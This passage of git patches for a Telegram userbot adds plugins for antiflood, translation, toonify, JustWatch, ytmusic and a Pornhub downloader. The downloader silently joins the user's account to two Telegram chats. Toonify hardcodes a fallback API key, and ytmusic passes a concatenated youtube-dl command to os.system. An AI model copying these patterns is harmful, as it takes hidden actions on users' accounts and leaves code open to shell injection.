this + should_ban = sql.update_flood(event.chat_id, event.message.from_id) if not should_ban: return try: - await event.client( - EditBannedRequest( - event.chat_id, event.message.sender_id, ANTI_FLOOD_WARN_MODE - ) - ) + await event.client(EditBannedRequest( + event.chat_id, + event.message.from_id, + ANTI_FLOOD_WARN_MODE + )) except Exception as e: # pylint:disable=C0103,W0703 no_admin_privilege_message = await event.client.send_message( entity=event.chat_id, message="""**Automatic AntiFlooder** @admin [User](tg://user?id={}) is flooding this chat. -`{}`""".format( - event.message.sender_id, str(e) - ), - reply_to=event.message.id, +`{}`""".format(event.message.from_id, str(e)), + reply_to=event.message.id ) await asyncio.sleep(10) await no_admin_privilege_message.edit( - "This is useless SPAM dude. Stop this, enjoy chat man ", link_preview=False + "This is useless SPAM dude . stop this enjoy chat man ", + link_preview=False ) else: await event.client.send_message( entity=event.chat_id, message="""**Automatic AntiFlooder** [User](tg://user?id={}) has been automatically restricted -because he reached the defined flood limit.""".format( - event.message.sender_id - ), - reply_to=event.message.id, +because he reached the defined flood limit.""".format(event.message.from_id), + reply_to=event.message.id ) -@bot.on(admin_cmd(pattern="setflood(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="setflood(?: |$)(.*)", allow_sudo=True)) +@borg.on(admin_cmd(pattern="setflood (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) - event = await edit_or_reply(event, "updating flood settings!") try: sql.set_flood(event.chat_id, input_str) - sql.__load_flood_settings() - await event.edit( - "Antiflood updated to {} in the current chat".format(input_str) - ) + CHAT_FLOOD = sql.__load_flood_settings() + await event.edit("Antiflood updated to {} in the current chat".format(input_str)) except Exception as e: # pylint:disable=C0103,W0703 await event.edit(str(e)) -CMD_HELP.update( - { - "antiflood": ".setflood [number]\ -\nUsage: warns the user if he spams the chat and if you are an admin then it mutes him in that group.\ +CMD_HELP.update({ + "antiflood": + ".setflood [number]\ +\nUsage: warns the user if he spams the chat if you are admin mutes him in that group .\ " - } -) +}) From 84a5a49456d188d02971e0395be4363a415cb69e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:21:58 +0530 Subject: [PATCH 067/838] Update floodsql.py --- fridaybot/modules/sql_helper/floodsql.py | 33 +++++++++++++----------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/fridaybot/modules/sql_helper/floodsql.py b/fridaybot/modules/sql_helper/floodsql.py index b1b5436f..a482ea9e 100644 --- a/fridaybot/modules/sql_helper/floodsql.py +++ b/fridaybot/modules/sql_helper/floodsql.py @@ -46,23 +46,24 @@ def set_flood(chat_id, amount): def update_flood(chat_id: str, user_id) -> bool: - if str(chat_id) not in CHAT_FLOOD: - return - curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ) - if limit == 0: # no antiflood - return False - if user_id != curr_user_id or user_id is None: # other user - CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit) - return False + if str(chat_id) in CHAT_FLOOD: + curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ) - count += 1 - if count > limit: # too many msgs, kick - CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit) - return True + if limit == 0: # no antiflood + return False - # default -> update - CHAT_FLOOD[str(chat_id)] = (user_id, count, limit) - return False + if user_id != curr_user_id or user_id is None: # other user + CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit) + return False + + count += 1 + if count > limit: # too many msgs, kick + CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit) + return True + + # default -> update + CHAT_FLOOD[str(chat_id)] = (user_id, count, limit) + return False def get_flood_limit(chat_id): @@ -88,3 +89,5 @@ def __load_flood_settings(): finally: SESSION.close() return CHAT_FLOOD + + From 6d0e86546d9c61243d09645e3114c8c209fecd22 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:24:07 +0530 Subject: [PATCH 068/838] Create xtools.py --- fridaybot/modules/xtools.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 fridaybot/modules/xtools.py diff --git a/fridaybot/modules/xtools.py b/fridaybot/modules/xtools.py new file mode 100644 index 00000000..1e02dad8 --- /dev/null +++ b/fridaybot/modules/xtools.py @@ -0,0 +1,30 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. + +from telethon import events +from datetime import datetime +import requests +from ..util import admin_cmd + + +@borg.on(admin_cmd("xtools (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + start = datetime.now() + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + username = previous_message.message + sub_domain = input_str + else: + sub_domain, username = input_str.split("|") + final_url = "https://xtools.wmflabs.org/api/user/simple_editcount/{}.wikipedia.org/{}".format(sub_domain, username) + json_string = requests.get(final_url).json() + result_text = json_string["liveEditCount"] + end = datetime.now() + ms = (end - start).seconds + output_str = "edit count of {} ({}) in {} seconds. \n {}".format( + username, sub_domain, str(ms), result_text) + await event.edit(output_str) From 7513ecc4d5a64c5ad5f2b934840b4dd39f507287 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:26:30 +0530 Subject: [PATCH 069/838] Create pornhubD.py --- fridaybot/modules/pornhubD.py | 67 +++++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 fridaybot/modules/pornhubD.py diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py new file mode 100644 index 00000000..129c5d4b --- /dev/null +++ b/fridaybot/modules/pornhubD.py @@ -0,0 +1,67 @@ +""" +Pornhub downloader by @ceowhitehatcracks +Syntax: .phd link +""" +import datetime +import asyncio +import requests +from bs4 import BeautifulSoup +import os +from pySmartDL import SmartDL +from telethon import events +from telethon.tl.functions.channels import JoinChannelRequest +from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError +from telethon.tl.functions.account import UpdateNotifySettingsRequest +from telethon.tl.functions.messages import ImportChatInviteRequest +from ..utils import admin_cmd + +@borg.on(admin_cmd("pornhd ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + bot = "@phsavebot" + r = requests.get(d_link) + soup = BeautifulSoup(r.content, 'html.parser') + temporary_variable = soup.find("span", {"class": "inlineFree"}) + title = temporary_variable.text + temp = soup.find("div", {"class": "thumbnail"}) + view = soup.find("span", {"class": "count"}) + views = view.text + temporary_variable_to_use = temp.find("img") + thumb_image_link = temporary_variable_to_use["data-src"] + if "pornhub" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + else: + await event.edit("**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format(title, views)) + await asyncio.sleep(2) + + + async with event.client.conversation("@phsavebot") as conv: + try: + await conv.send_message("/start") + oop = await conv.get_response() + if "language" in oop.text: + await borg.send_message(event.chat_id, "**Please go to** @phsavebot **and select your language**") + await asyncio.sleep(2) + me = await borg.get_me() + my_id = me.id + # Necessary for the bot to work ;-; + try: + await borg(ImportChatInviteRequest('AAAAAFbNNkKLy3gleaD5sA')) + await borg(ImportChatInviteRequest('AAAAAFZPuYvdW1A8mrT8Pg')) + except UserAlreadyParticipantError: + await asyncio.sleep(0.00000069420) + await conv.send_message(d_link) + response = await conv.get_response() + if "Downloading" in response.text: + video_hehe = await conv.get_response() + await borg.send_file(event.chat_id, video_hehe, caption="`🤤 Video Uploaded by` [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)!🤤\n**Title:** `{}`".format(title)) + elif "Unfortunately" in response.text: + await event.edit("`Woops, Incorrect link!`\n**Please check and try again.**") + elif "correct" in response.text: + await borg.send_message(event.chat_id, response.text) + except YouBlockedUserError: + await event.reply("**Please unblock** @phsavebot **and try again**") + return + From 6da7e043804766facf12cb1b3eb06901e8c57380 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:28:25 +0530 Subject: [PATCH 070/838] Create classictranslate.py --- fridaybot/modules/classictranslate.py | 56 +++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 fridaybot/modules/classictranslate.py diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py new file mode 100644 index 00000000..3896c75c --- /dev/null +++ b/fridaybot/modules/classictranslate.py @@ -0,0 +1,56 @@ +""" Google Translate +Available Commands: +.tl LanguageCode as reply to a message +.tl LangaugeCode | text to translate""" + +import emoji +from asyncio import sleep +from userbot import CMD_HELP +from googletrans import Translator +from ..utils import admin_cmd, sudo_cmd + + + +@borg.on(admin_cmd("tl ?(.*)")) +async def _(event): + if event.fwd_from: + return + if "trim" in event.raw_text: + # https://t.me/c/1220993104/192075 + return + input_str = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + text = previous_message.message + lan = input_str or "en" + elif "|" in input_str: + lan, text = input_str.split("|") + else: + await event.edit(".tl LanguageCode as reply to a message") + return + text = emoji.demojize(text.strip()) + lan = lan.strip() + translator = Translator() + try: + translated = translator.translate(text, dest=lan) + after_tr_text = translated.text + # TODO: emojify the : + # either here, or before translation + output_str = """**Translated Successfully** from {} to {} +{}""".format( + translated.src, + lan, + after_tr_text + ) + await event.edit(output_str) + except Exception as exc: + await event.edit(str(exc)) + +CMD_HELP.update( + { + "translate": ".tl " + "\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n" + ".tl | " + "\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n" + } +) From a99f39c711fefec64a4e089bfa1007419ea8b844 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:31:07 +0530 Subject: [PATCH 071/838] Update classictranslate.py --- fridaybot/modules/classictranslate.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py index 3896c75c..7f144d7d 100644 --- a/fridaybot/modules/classictranslate.py +++ b/fridaybot/modules/classictranslate.py @@ -5,7 +5,7 @@ import emoji from asyncio import sleep -from userbot import CMD_HELP +from fridaybot import CMD_HELP from googletrans import Translator from ..utils import admin_cmd, sudo_cmd @@ -48,7 +48,7 @@ async def _(event): CMD_HELP.update( { - "translate": ".tl " + "Classic translate": ".tl " "\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n" ".tl | " "\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n" From 3533fdf1e41d798121147783696007514e6b26fb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:32:34 +0530 Subject: [PATCH 072/838] Create toonify.py --- fridaybot/modules/toonify.py | 60 ++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 fridaybot/modules/toonify.py diff --git a/fridaybot/modules/toonify.py b/fridaybot/modules/toonify.py new file mode 100644 index 00000000..c323cbb1 --- /dev/null +++ b/fridaybot/modules/toonify.py @@ -0,0 +1,60 @@ +# By @Danish_00 +# Fixed By a NOOB +# Made for DARK COBRA by team Cobra.. +# kang with credits do not edit these lines.. + +from telethon.tl.types import MessageMediaPhoto +import os, urllib, requests, asyncio +from ..utils import admin_cmd +from fridaybot import CMD_HELP + +DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" +@borg.on(admin_cmd(pattern="toonify$", outgoing=True)) +async def _(event): + + + reply = await event.get_reply_message() + if not reply:#By @Danish_00 +#Fixed By a NOOB + return await event.edit( + "Reply to any image or non animated sticker !" + ) + devent = await event.edit("`Downloading the file😅😁😁....`") + media = await event.client.download_media(reply) + if not media.endswith(("png", "jpg", "webp")): + return await event.edit( + "Reply to any image or non animated sticker !" + )#By @Danish_00 +#Fixed By a NOOB + devent = await event.edit("`Toonifying image 🤪🤣🤓...`")#hehehhehehhe + r = requests.post( + "https://api.deepai.org/api/toonify", + files={ + "image": open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + )#By @Danish_00 +#Fixed By a NOOB + os.remove(media) + if "status" in r.json(): + return await devent.edit( r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message(#hehehhehehehehheh + event.chat_id, + file=result + ) + + +#hehehehehe +CMD_HELP.update( + { + "toonify": + ".toonify " + "\nIt Toonify the face 🤣😂 `(Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)`" + }) From 44800bdff36a243fd6e3535074f69b47fafbb190 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:34:06 +0530 Subject: [PATCH 073/838] Create watch.py --- fridaybot/modules/watch.py | 111 +++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 fridaybot/modules/watch.py diff --git a/fridaybot/modules/watch.py b/fridaybot/modules/watch.py new file mode 100644 index 00000000..7f04f6dc --- /dev/null +++ b/fridaybot/modules/watch.py @@ -0,0 +1,111 @@ +# Uniborg Plugin for getting list of sites where you can watch a particular Movie or TV-Show +# Author: Sumanjay (https://github.com/cyberboysumanjay) (@cyberboysumanjay) +# All rights reserved. + +#imported from uniborg + + + +from telethon import events +import requests +from ..utils import admin_cmd +from justwatch import JustWatch + +def get_stream_data(query): + stream_data = {} + + # Compatibility for Current Userge Users + try: + country = Config.WATCH_COUNTRY + except Exception: + country = "IN" + + # Cooking Data + just_watch = JustWatch(country = country) + results = just_watch.search_for_item(query = query) + movie = results['items'][0] + stream_data['title'] = movie['title'] + stream_data['movie_thumb'] = "https://images.justwatch.com"+movie['poster'].replace("{profile}","")+"s592" + stream_data['release_year'] = movie['original_release_year'] + try: + print(movie['cinema_release_date']) + stream_data['release_date'] = movie['cinema_release_date'] + except KeyError: + try: + stream_data['release_date'] = movie['localized_release_date'] + except KeyError: + stream_data['release_date'] = None + + stream_data['type'] = movie['object_type'] + + available_streams = {} + for provider in movie['offers']: + provider_ = get_provider(provider['urls']['standard_web']) + available_streams[provider_] = provider['urls']['standard_web'] + + stream_data['providers'] = available_streams + + scoring = {} + for scorer in movie['scoring']: + if scorer['provider_type']=="tmdb:score": + scoring['tmdb'] = scorer['value'] + + if scorer['provider_type']=="imdb:score": + scoring['imdb'] = scorer['value'] + stream_data['score'] = scoring + return stream_data + +#Helper Functions +def pretty(name): + if name=="play": + name = "Google Play Movies" + return name[0].upper()+name[1:] + +def get_provider(url): + url = url.replace("https://www.","") + url = url.replace("https://","") + url = url.replace("http://www.","") + url = url.replace("http://","") + url = url.split(".")[0] + return url + +@borg.on(admin_cmd(pattern="watch (.*)")) +async def _(event): + if event.fwd_from: + return + query = event.pattern_match.group(1) + await event.edit("Finding Sites...") + streams = get_stream_data(query) + title = streams['title'] + thumb_link = streams['movie_thumb'] + release_year = streams['release_year'] + release_date = streams['release_date'] + scores = streams['score'] + try: + imdb_score = scores['imdb'] + except KeyError: + imdb_score = None + + try: + tmdb_score = scores['tmdb'] + except KeyError: + tmdb_score = None + + stream_providers = streams['providers'] + if release_date is None: + release_date = release_year + + output_ = f"**Movie:**\n`{title}`\n**Release Date:**\n`{release_date}`" + if imdb_score: + output_ = output_ + f"\n**IMDB: **{imdb_score}" + if tmdb_score: + output_ = output_ + f"\n**TMDB: **{tmdb_score}" + + output_ = output_ + "\n\n**Available on:**\n" + for provider,link in stream_providers.items(): + if 'sonyliv' in link: + link = link.replace(" ","%20") + output_ += f"[{pretty(provider)}]({link})\n" + + await borg.send_file(event.chat_id, caption=output_, file=thumb_link,force_document=False,allow_cache=False, silent=True) + await event.delete() From bb0ec0eaf03906b841050b9669c1944ed764b195 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:34:29 +0530 Subject: [PATCH 074/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 3b8eace4..b27ee599 100644 --- a/requirements.txt +++ b/requirements.txt @@ -71,3 +71,4 @@ fontTools PyDictionary beautifulsoup4 bs4 +justwatch From b4d2a186e50fedeca58a09f18dfee15de126080f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:38:06 +0530 Subject: [PATCH 075/838] Update antiflood.py --- fridaybot/modules/antiflood.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index a59467d2..130d9c52 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -3,7 +3,7 @@ from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights from ..utils import admin_cmd -from fridaybot.modules.sql_helperimport flood_sql as sql +from fridaybot.modules.sql_helperimport floodsql as sql import fridaybot.utils from fridaybot.utils import humanbytes, progress, time_formatter from fridaybot import CMD_HELP From d9ca7986656b57136e1c5fe68f47dd64569bdaa8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:39:50 +0530 Subject: [PATCH 076/838] Update antiflood.py --- fridaybot/modules/antiflood.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 130d9c52..1da36dff 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -3,7 +3,7 @@ from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights from ..utils import admin_cmd -from fridaybot.modules.sql_helperimport floodsql as sql +from fridaybot.modules.sql_helper import floodsql as sql import fridaybot.utils from fridaybot.utils import humanbytes, progress, time_formatter from fridaybot import CMD_HELP From f9874eff49d6e1f7f546c4ecfaa4897c1a545006 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:47:12 +0530 Subject: [PATCH 077/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index f5e74c6d..43039d17 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -138,6 +138,7 @@ class Config(object): PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") + DEEP_AI = os.environ.get("DEEP_AI", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE") From 58a1f3e33e9c428e4c2eda78f63b41cd4b836973 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 19:50:07 +0530 Subject: [PATCH 078/838] Update xtools.py --- fridaybot/modules/xtools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/xtools.py b/fridaybot/modules/xtools.py index 1e02dad8..1b58f0cd 100644 --- a/fridaybot/modules/xtools.py +++ b/fridaybot/modules/xtools.py @@ -5,7 +5,7 @@ from telethon import events from datetime import datetime import requests -from ..util import admin_cmd +from ..utils import admin_cmd @borg.on(admin_cmd("xtools (.*)")) From 9b2eaf12fbc462f5272fc9f633a24d809ca3fd4f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 20:21:47 +0530 Subject: [PATCH 079/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index b27ee599..afc07ff2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -72,3 +72,4 @@ PyDictionary beautifulsoup4 bs4 justwatch +youtube-search-python>=1.3.2 From 2b5f384879b0d8b5f6b14d585976d777a782f64d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 20:23:35 +0530 Subject: [PATCH 080/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index afc07ff2..8e512215 100644 --- a/requirements.txt +++ b/requirements.txt @@ -54,7 +54,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search -youtube-search-python + covid password_strength pyjokes From a1e967119b0b3e92a907ed1ecdcde6acf263b892 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 20:37:45 +0530 Subject: [PATCH 081/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 8e512215..0c3ecdc7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -54,7 +54,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search - +youtubesearchpython covid password_strength pyjokes From f806c0fc151f084ed2653ef34a30d3e5d9076fca Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 20:49:04 +0530 Subject: [PATCH 082/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 0c3ecdc7..8e512215 100644 --- a/requirements.txt +++ b/requirements.txt @@ -54,7 +54,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search -youtubesearchpython + covid password_strength pyjokes From 4f70567ff6f7df8d692d2ce838943c061675aebf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 20:49:48 +0530 Subject: [PATCH 083/838] Dead --- fridaybot/modules/ytmusic.py | 68 ------------------------------------ 1 file changed, 68 deletions(-) delete mode 100644 fridaybot/modules/ytmusic.py diff --git a/fridaybot/modules/ytmusic.py b/fridaybot/modules/ytmusic.py deleted file mode 100644 index 554de1c5..00000000 --- a/fridaybot/modules/ytmusic.py +++ /dev/null @@ -1,68 +0,0 @@ -import asyncio -import os - -import wget -from youtubesearchpython import SearchVideos - -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) -@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - urlissed = event.pattern_match.group(1) - myself_stark = await edit_or_reply( - event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" - ) - search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) - mi = search.result() - mio = mi["search_result"] - mo = mio[0]["link"] - thum = mio[0]["title"] - fridayz = mio[0]["id"] - thums = mio[0]["channel"] - kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" - await asyncio.sleep(0.6) - if not os.path.isdir("./music/"): - os.makedirs("./music/") - path = Config.TMP_DOWNLOAD_DIRECTORY - sedlyf = wget.download(kekme, out=path) - stark = ( - f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k ' - + mo - ) - os.system(stark) - await asyncio.sleep(4) - km = f"./music/{thum}.mp3" - if os.path.exists(km): - await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`") - else: - await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`") - capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" - await borg.send_file( - event.chat_id, - km, - force_document=False, - allow_cache=False, - caption=capy, - thumb=sedlyf, - performer=thums, - supports_streaming=True, - ) - await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`") - for files in (sedlyf, km): - if files and os.path.exists(files): - os.remove(files) - - -CMD_HELP.update( - { - "ytmusic": "**Ytmusic**\ -\n\n**Syntax : **`.ytmusic `\ -\n**Usage :** Downloads songs from ytmusic" - } -) From 36a3b980345fac2cfe4cd471310f1d84b388d05d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 22:40:51 +0530 Subject: [PATCH 084/838] Update requirements.txt --- requirements.txt | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index 8e512215..3b8eace4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -54,7 +54,7 @@ tswift urbandict>=0.5 wikipedia>=1.4.0 youtube-search - +youtube-search-python covid password_strength pyjokes @@ -71,5 +71,3 @@ fontTools PyDictionary beautifulsoup4 bs4 -justwatch -youtube-search-python>=1.3.2 From 5f2a8e741561929d2eb726b61418a19bf3839cfc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 22:54:44 +0530 Subject: [PATCH 085/838] Delete watch.py --- fridaybot/modules/watch.py | 111 ------------------------------------- 1 file changed, 111 deletions(-) delete mode 100644 fridaybot/modules/watch.py diff --git a/fridaybot/modules/watch.py b/fridaybot/modules/watch.py deleted file mode 100644 index 7f04f6dc..00000000 --- a/fridaybot/modules/watch.py +++ /dev/null @@ -1,111 +0,0 @@ -# Uniborg Plugin for getting list of sites where you can watch a particular Movie or TV-Show -# Author: Sumanjay (https://github.com/cyberboysumanjay) (@cyberboysumanjay) -# All rights reserved. - -#imported from uniborg - - - -from telethon import events -import requests -from ..utils import admin_cmd -from justwatch import JustWatch - -def get_stream_data(query): - stream_data = {} - - # Compatibility for Current Userge Users - try: - country = Config.WATCH_COUNTRY - except Exception: - country = "IN" - - # Cooking Data - just_watch = JustWatch(country = country) - results = just_watch.search_for_item(query = query) - movie = results['items'][0] - stream_data['title'] = movie['title'] - stream_data['movie_thumb'] = "https://images.justwatch.com"+movie['poster'].replace("{profile}","")+"s592" - stream_data['release_year'] = movie['original_release_year'] - try: - print(movie['cinema_release_date']) - stream_data['release_date'] = movie['cinema_release_date'] - except KeyError: - try: - stream_data['release_date'] = movie['localized_release_date'] - except KeyError: - stream_data['release_date'] = None - - stream_data['type'] = movie['object_type'] - - available_streams = {} - for provider in movie['offers']: - provider_ = get_provider(provider['urls']['standard_web']) - available_streams[provider_] = provider['urls']['standard_web'] - - stream_data['providers'] = available_streams - - scoring = {} - for scorer in movie['scoring']: - if scorer['provider_type']=="tmdb:score": - scoring['tmdb'] = scorer['value'] - - if scorer['provider_type']=="imdb:score": - scoring['imdb'] = scorer['value'] - stream_data['score'] = scoring - return stream_data - -#Helper Functions -def pretty(name): - if name=="play": - name = "Google Play Movies" - return name[0].upper()+name[1:] - -def get_provider(url): - url = url.replace("https://www.","") - url = url.replace("https://","") - url = url.replace("http://www.","") - url = url.replace("http://","") - url = url.split(".")[0] - return url - -@borg.on(admin_cmd(pattern="watch (.*)")) -async def _(event): - if event.fwd_from: - return - query = event.pattern_match.group(1) - await event.edit("Finding Sites...") - streams = get_stream_data(query) - title = streams['title'] - thumb_link = streams['movie_thumb'] - release_year = streams['release_year'] - release_date = streams['release_date'] - scores = streams['score'] - try: - imdb_score = scores['imdb'] - except KeyError: - imdb_score = None - - try: - tmdb_score = scores['tmdb'] - except KeyError: - tmdb_score = None - - stream_providers = streams['providers'] - if release_date is None: - release_date = release_year - - output_ = f"**Movie:**\n`{title}`\n**Release Date:**\n`{release_date}`" - if imdb_score: - output_ = output_ + f"\n**IMDB: **{imdb_score}" - if tmdb_score: - output_ = output_ + f"\n**TMDB: **{tmdb_score}" - - output_ = output_ + "\n\n**Available on:**\n" - for provider,link in stream_providers.items(): - if 'sonyliv' in link: - link = link.replace(" ","%20") - output_ += f"[{pretty(provider)}]({link})\n" - - await borg.send_file(event.chat_id, caption=output_, file=thumb_link,force_document=False,allow_cache=False, silent=True) - await event.delete() From 81945f2f5b7deb6eea5f5e2640517fc67207eed9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 23:10:14 +0530 Subject: [PATCH 086/838] Create ytmusic.py --- fridaybot/modules/ytmusic.py | 68 ++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 fridaybot/modules/ytmusic.py diff --git a/fridaybot/modules/ytmusic.py b/fridaybot/modules/ytmusic.py new file mode 100644 index 00000000..554de1c5 --- /dev/null +++ b/fridaybot/modules/ytmusic.py @@ -0,0 +1,68 @@ +import asyncio +import os + +import wget +from youtubesearchpython import SearchVideos + +from fridaybot import CMD_HELP +from fridaybot.Configs import Config +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + + +@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) 